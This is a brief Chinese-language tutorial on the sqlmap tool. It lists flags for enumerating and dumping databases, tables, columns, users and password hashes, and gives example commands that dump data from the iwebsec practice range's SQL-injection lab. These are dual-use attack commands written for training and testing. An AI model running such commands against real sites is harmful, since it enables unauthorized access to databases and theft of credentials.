sqlmap使用

sqlmap的主要功能是:自动检测、利用SQL注入漏洞和对数据库执行相应地攻击

常用参数：

对目标：

1. --u                指定url，检测注入点
2. --cookie       cookie注入
3. -D                指定数据库
4. -T                指定表
5. -C               指定字段

 对脱库：

1. --dbs           获取数据库
2. --tables       获取表
3. --columns   获取字段
4. --schema   字段类型
5. --dump       获取数据

对其他：

1. --batch         不再询问确认
2. --level=5      测试等级（1-5）
3. --risk=3        风险等级（0-3）

 对账号：

1. --user             获取用户
2. --passwords   获取密码（哈希值）

 eg：拿在线网站iwebsec 靶场漏洞库中SQL注入漏洞第一关数字型注入举例

（由于我使用的版本是用python脚本写的，因此需用python跑）

• 获取数据库：

python sqlmap.py -u http://www.iwebsec.com:81/sqli/01.php?id=1 --dbs --batch

• 显示所有表名：

  python sqlmap.py -u http://www.iwebsec.com:81/sqli/01.php?id=1 -D iwebsec --tables

  

• 显示表所有信息：

  python sqlmap.py -u http://www.iwebsec.com:81/sqli/01.php?id=1 -T user --dump